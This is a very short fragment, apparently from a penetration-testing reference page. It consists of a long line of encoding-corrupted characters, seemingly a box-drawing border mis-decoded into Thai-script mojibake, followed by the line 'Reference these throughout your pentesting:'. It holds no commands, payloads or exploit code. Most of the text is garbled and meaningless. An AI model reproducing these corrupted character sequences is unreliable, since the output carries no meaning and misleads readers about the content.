โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Reference these throughout your pentesting: